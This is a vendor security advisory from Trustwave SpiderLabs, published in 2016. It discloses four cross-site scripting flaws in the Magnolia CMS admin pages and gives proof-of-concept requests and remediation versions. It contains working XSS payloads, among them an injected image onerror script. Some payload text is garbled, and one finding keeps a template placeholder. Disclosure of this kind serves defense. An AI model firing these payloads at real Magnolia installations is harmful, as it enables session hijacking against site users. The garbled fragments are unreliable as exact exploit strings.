Trustwave SpiderLabs Security Advisory TWSL2016-004: Multiple Vulnerabilities in Magnolia CMS Published: 03/09/2016 Version: 1.0 Vendor: Magnolia CMS (https://www.magnolia-cms.com/) Product: Magnolia CMS Version affected: Versions prior to 4.5.28, 5.2.12, 5.3.14, 5.4.5 Product description: Magnolia is an open source, java based, web content management system. Finding 1: Reflected and Persistent Cross-site Scripting (XSS) vulnerability Credit: Michel Chamberland of Trustwave CWE: CWE-79 A cross-site scripting vulnerability was identified on the /magnoliaAuthor/.magnolia/log4j page. The "class" GET parameter can be used to inject arbitrary JavaScript which is returned in the page's response. Subsequent visits to the page by any users causes the XSS payload to be executed in the victim's browser. The following Proof of Concept (PoC) demonstrates the attack as well as displaying evidence of the script payload being returned in the response. ## Sample Request GET /magnoliaAuthor/.magnolia/log4j?level=WARN&class=info.magnolia.demo.travel.model.NavigationAreaModela5inr">lw6nlzj221g
lw6nlzj221g">
Finding 2: Reflected Cross-site Scripting (XSS) vulnerability Credit: Michel Chamberland of Trustwave CWE: CWE-79 A cross-site scripting vulnerability was identified on the /magnoliaAuthor/.magnolia/pages/developmentUtils.htm page. The "module" GET parameter can be used to inject arbitrary JavaScript which is returned in the page's response. The following Proof of Concept (PoC) demonstrates the attack as well as displaying evidence of the script payload being returned in the response. ## Sample Request GET /magnoliaAuthor/.magnolia/pages/developmentUtils.html?command=backup&rootdir=%2F&module=templatingu0x7ettbx4wm23vd : modules/templatingu0x7ettbx4wm23vd Finding 3: Reflected Cross-site Scripting (XSS) vulnerability *****Credit: Michel Chamberland of Trustwave CVE: CVE-2011-xxxx (<- Do not fill in) CWE: CWE-79 A cross-site scripting vulnerability was identified on the /magnoliaAuthor/.magnolia/pages/jcrUtils.html page. The "language", "repository" and "statement" GET parameters can be used to inject arbitrary JavaScript which is returned in the page's response. The following Proof of Concept (PoC) demonstrates the attack as well as displaying evidence of the script payload being returned in the response. ## Sample Request GET /magnoliaAuthor/.magnolia/pages/jcrUtils.html?command=query&repository=category&language=JCR-SQL2&itemType=nt%3Abase&statement=select%20*rk8jxjqm4a

Result

jqm4a; expected: FROM
Finding 4: Reflected Cross-site Scripting (XSS) vulnerability Credit: Michel Chamberland of Trustwave CWE: CWE-79 A cross-site scripting vulnerability was identified on the /magnoliaAuthor/.magnolia/pages/logViewer.html page. The "fileName" GET parameter can be used to inject arbitrary JavaScript which is returned in the page's response. The following Proof of Concept (PoC) demonstrates the attack as well as displaying evidence of the script payload being returned in the response. ## Sample Request GET /magnoliaAuthor/.magnolia/pages/logViewer.html?command=displayFileContent&fileName=bootstrap.logqou0q%3Cimg%20src%3da%20onerror%3dalert(%27xss%27)%3Egl0q HTTP/1.1 Host: localhost:8081 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: http://localhost:8081/magnoliaAuthor/.magnolia/pages/logViewer.html?command=displayFileContent&fileName=magnolia-audit.log Accept-Encoding: gzip, deflate Cookie: JSESSIONID=0BCF436DACAF84DB4099E7E5F91C8AA2 Connection: close ## Sample Response HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Cache-Control: no-cache, no-store, must-revalidate, max-age=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Vary: Accept-Encoding Content-Type: text/html;charset=UTF-8 Content-Length: 3967 Date: Fri, 05 Feb 2016 18:39:56 GMT Connection: close
c:\SomePath\Magnolia\magnolia-community-demo-bundle-5.4.4-tomcat-bundle\magnolia-5.4.4\apache-tomcat-7.0.64\webapps\magnoliaAuthor\logs\bootstrap.logqou0qgl0q (The filename, directory name, or volume label syntax is incorrect)
Remediation Steps: Upgrade to Magnolia 4.5.28, 5.2.12, 5.3.14, 5.45 or the latest stable release. Please note that Trustwave SpiderLabs have not verified this fix. Revision History: 02/11/2016 - Vulnerability disclosed to vendor 03/08/2016 - Patch released by vendor 03/09/2016 - Advisory published References 1. https://documentation.magnolia-cms.com/display/DOCS/Release+notes+for+Magnolia+5.4.5 2. https://documentation.magnolia-cms.com/display/DOCS53/Release+notes+for+Magnolia+5.3.14 3. https://documentation.magnolia-cms.com/display/DOCS53/Release+notes+for+Magnolia+5.2.12 4. https://documentation.magnolia-cms.com/display/DOCS45/Release+notes+for+Magnolia+4.5.28 About Trustwave: Trustwave helps businesses fight cybercrime, protect data and reduce security risk. With cloud and managed security services, integrated technologies and a team of security experts, ethical hackers and researchers, Trustwave enables businesses to transform the way they manage their information security and compliance programs. More than three million businesses are enrolled in the Trustwave TrustKeeper cloud platform, through which Trustwave delivers automated, efficient and cost-effective threat, vulnerability and compliance management. Trustwave is headquartered in Chicago, with customers in 96 countries. For more information about Trustwave, visit https://www.trustwave.com. About Trustwave SpiderLabs: SpiderLabs(R) is the advanced security team at Trustwave focused on application security, incident response, penetration testing, physical security and security research. The team has performed over a thousand incident investigations, thousands of penetration tests and hundreds of application security tests globally. In addition, the SpiderLabs Research team provides intelligence through bleeding-edge research and proof of concept tool development to enhance Trustwave's products and services. https://www.trustwave.com/spiderlabs Disclaimer: The information provided in this advisory is provided "as is" without warranty of any kind. Trustwave disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Trustwave or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Trustwave or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.